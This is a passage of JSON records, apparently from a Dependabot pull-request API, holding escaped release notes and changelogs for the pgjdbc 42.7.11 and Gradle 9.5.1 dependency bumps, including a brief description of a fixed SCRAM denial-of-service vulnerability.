Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.10...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n","html_url":"https://github.com/dmaiken/konifer/pull/132","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/dmaiken%2Fkonifer/issues/132","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/132/packages"}},{"old_version":"42.7.10","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-05-26T05:34:14.000Z","version_change":"42.7.10 → 42.7.11","issue":{"uuid":"4521648521","node_id":"PR_kwDONFnX0c7fRyr5","number":51,"state":"closed","title":"[Dependabot](deps): Bump the etc group across 1 directory with 14 updates","user":"dependabot[bot]","labels":[],"assignees":["Kairyx-dev"],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-05-28T00:59:14.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-26T05:34:14.000Z","updated_at":"2026-05-28T00:59:16.000Z","time_to_close":156300,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"[Dependabot](deps): Bump","group_name":"etc","update_count":14,"packages":[{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.1","repository_url":"https://github.com/gradle/gradle"},{"name":"org.slf4j:slf4j-api","old_version":"2.0.17","new_version":"2.0.18"},{"name":"org.projectlombok:lombok","old_version":"1.18.44","new_version":"1.18.46","repository_url":"https://github.com/projectlombok/lombok"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"com.uber.nullaway:nullaway","old_version":"0.13.3","new_version":"0.13.4","repository_url":"https://github.com/uber/NullAway"},{"name":"org.jooq:jooq","old_version":"3.19.31","new_version":"3.19.34"},{"name":"org.jooq:jooq-codegen","old_version":"3.19.31","new_version":"3.19.34"},{"name":"org.jooq.jooq-codegen-gradle","old_version":"3.19.31","new_version":"3.19.34","repository_url":"https://github.com/jOOQ/jOOQ"},{"name":"org.flywaydb:flyway-core","old_version":"12.4.0","new_version":"12.6.2"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"12.4.0","new_version":"12.6.2"},{"name":"org.flywaydb.flyway","old_version":"12.4.0","new_version":"12.6.2"},{"name":"io.opentelemetry.instrumentation:opentelemetry-logback-appender-1.0","old_version":"2.21.0-alpha","new_version":"2.28.1-alpha","repository_url":"https://github.com/open-telemetry/opentelemetry-java-instrumentation"},{"name":"net.jqwik:jqwik","old_version":"1.9.3","new_version":"1.10.0","repository_url":"https://github.com/jqwik-team/jqwik"},{"name":"com.diffplug.spotless","old_version":"8.4.0","new_version":"8.5.1"}],"path":null,"ecosystem":"maven"},"body":"Bumps the etc group with 14 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.1` |\n| org.slf4j:slf4j-api | `2.0.17` | `2.0.18` |\n| [org.projectlombok:lombok](https://github.com/projectlombok/lombok) | `1.18.44` | `1.18.46` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| [com.uber.nullaway:nullaway](https://github.com/uber/NullAway) | `0.13.3` | `0.13.4` |\n| org.jooq:jooq | `3.19.31` | `3.19.34` |\n| org.jooq:jooq-codegen | `3.19.31` | `3.19.34` |\n| [org.jooq.jooq-codegen-gradle](https://github.com/jOOQ/jOOQ) | `3.19.31` | `3.19.34` |\n| org.flywaydb:flyway-core | `12.4.0` | `12.6.2` |\n| org.flywaydb:flyway-database-postgresql | `12.4.0` | `12.6.2` |\n| org.flywaydb.flyway | `12.4.0` | `12.6.2` |\n| [io.opentelemetry.instrumentation:opentelemetry-logback-appender-1.0](https://github.com/open-telemetry/opentelemetry-java-instrumentation) | `2.21.0-alpha` | `2.28.1-alpha` |\n| [net.jqwik:jqwik](https://github.com/jqwik-team/jqwik) | `1.9.3` | `1.10.0` |\n| com.diffplug.spotless | `8.4.0` | `8.5.1` |\n\n\nUpdates `gradle-wrapper` from 9.4.1 to 9.5.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gradle/gradle/releases\"\u003egradle-wrapper's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.5.1\u003c/h2\u003e\n\u003cp\u003eThe Gradle team is excited to announce Gradle 9.5.1.\u003c/p\u003e\n\u003cp\u003eHere are the highlights of this release:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTask provenance in reports and failure messages\u003c/li\u003e\n\u003cli\u003eType-safe accessors for precompiled Kotlin Settings plugins\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"https://docs.gradle.org/9.5.1/release-notes.html\"\u003eRead the Release Notes\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eWe would like to thank the following community members for their contributions to this release of Gradle:\n\u003ca href=\"https://github.com/atm1020\"\u003eatm1020\u003c/a\u003e,\n\u003ca href=\"https://github.com/mataha\"\u003emataha\u003c/a\u003e,\n\u003ca href=\"https://github.com/aSemy\"\u003eAdam\u003c/a\u003e,\n\u003ca href=\"https://github.com/kelemen\"\u003eAttila Kelemen\u003c/a\u003e,\n\u003ca href=\"https://github.com/britter\"\u003eBenedikt Ritter\u003c/a\u003e,\n\u003ca href=\"https://github.com/Vampire\"\u003eBjörn Kautler\u003c/a\u003e,\n\u003ca href=\"https://github.com/budindepunk\"\u003eCaro Silva Rode\u003c/a\u003e,\n\u003ca href=\"https://github.com/chanani\"\u003eCHANHAN\u003c/a\u003e,\n\u003ca href=\"https://github.com/DmitryNez\"\u003eDmitry Nezavitin\u003c/a\u003e,\n\u003ca href=\"https://github.com/Juneezee\"\u003eEng Zer Jun\u003c/a\u003e,\n\u003ca href=\"https://github.com/KugelLibelle\"\u003eKugelLibelle\u003c/a\u003e,\n\u003ca href=\"https://github.com/vmadalin\"\u003eMadalin Valceleanu\u003c/a\u003e,\n\u003ca href=\"https://github.com/quijote\"\u003eMarkus Gaisbauer\u003c/a\u003e,\n\u003ca href=\"https://github.com/koppor\"\u003eOliver Kopp\u003c/a\u003e,\n\u003ca href=\"https://github.com/hfhbd\"\u003ePhilip Wedemann\u003c/a\u003e,\n\u003ca href=\"https://github.com/ploober\"\u003eploober\u003c/a\u003e,\n\u003ca href=\"https://github.com/rpalcolea\"\u003eRoberto Perez Alcolea\u003c/a\u003e,\n\u003ca href=\"https://github.com/R0h1tAnand\"\u003eRohit Anand\u003c/a\u003e,\n\u003ca href=\"https://github.com/Suvrat1629\"\u003eSuvrat Acharya\u003c/a\u003e,\n\u003ca href=\"https://github.com/usv240\"\u003eUjwal Suresh Vanjare\u003c/a\u003e,\n\u003ca href=\"https://github.com/urdak\"\u003eVictor Merkulov\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eUpgrade instructions\u003c/h2\u003e\n\u003cp\u003eSwitch your build to use Gradle 9.5.1 by updating your wrapper:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e./gradlew wrapper --gradle-version=9.5.1 \u0026amp;\u0026amp; ./gradlew wrapper\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSee the Gradle \u003ca href=\"https://docs.gradle.org/9.5.1/userguide/upgrading_version_9.html\"\u003e9.x upgrade guide\u003c/a\u003e to learn about deprecations, breaking changes and other considerations when upgrading.\u003c/p\u003e\n\u003cp\u003eFor Java, Groovy, Kotlin and Android compatibility, see the \u003ca href=\"https://docs.gradle.org/9.5.1/userguide/compatibility.html\"\u003efull compatibility notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eReporting problems\u003c/h2\u003e\n\u003cp\u003eIf you find a problem with this release, please file a bug on \u003ca href=\"https://github.com/gradle/gradle/issues\"\u003eGitHub Issues\u003c/a\u003e adhering to our issue guidelines.\nIf you're not sure you're encountering a bug, please use the \u003ca href=\"https://discuss.gradle.org/c/help-discuss\"\u003eforum\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eWe hope you will build happiness with Gradle, and we look forward to your feedback via \u003ca href=\"https://twitter.com/gradle\"\u003eTwitter\u003c/a\u003e or on \u003ca href=\"https://github.com/gradle\"\u003eGitHub\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003e9.5.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/fd78213f09782e62ca4957f9cfd3d90c6c3f1767\"\u003e\u003ccode\u003efd78213\u003c/code\u003e\u003c/a\u003e Update Documentation Infrastructure: Fix scrolling issue in user manual (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37861\"\u003e#37861\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/7758437128d1c52702786ad719a13ade1b860aa8\"\u003e\u003ccode\u003e7758437\u003c/code\u003e\u003c/a\u003e fix scroll\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/2fd605fdcd69fea10570e9eb1343bbd7ca01c9d0\"\u003e\u003ccode\u003e2fd605f\u003c/code\u003e\u003c/a\u003e Only try to run as worker thread in DefaultBuildOperationQueue (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/af6984901238402386ae263d746380504e5f9138\"\u003e\u003ccode\u003eaf69849\u003c/code\u003e\u003c/a\u003e Release notes for Gradle 9.5.1 (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37853\"\u003e#37853\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/f4d9d03e9bb47d2d17b6d8314fdaa32c3d0b3c1e\"\u003e\u003ccode\u003ef4d9d03\u003c/code\u003e\u003c/a\u003e Release notes for Gradle 9.5.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/01eda3adf40dbe97e81475e813705409dcfe1091\"\u003e\u003ccode\u003e01eda3a\u003c/code\u003e\u003c/a\u003e Address review feedback on worker-lease retry changes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/7024e15139b2db9df831dd15a8b9e9052acd9a51\"\u003e\u003ccode\u003e7024e15\u003c/code\u003e\u003c/a\u003e Revert enrich file visitor with size info on \u003ccode\u003erelease\u003c/code\u003e branch (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37848\"\u003e#37848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 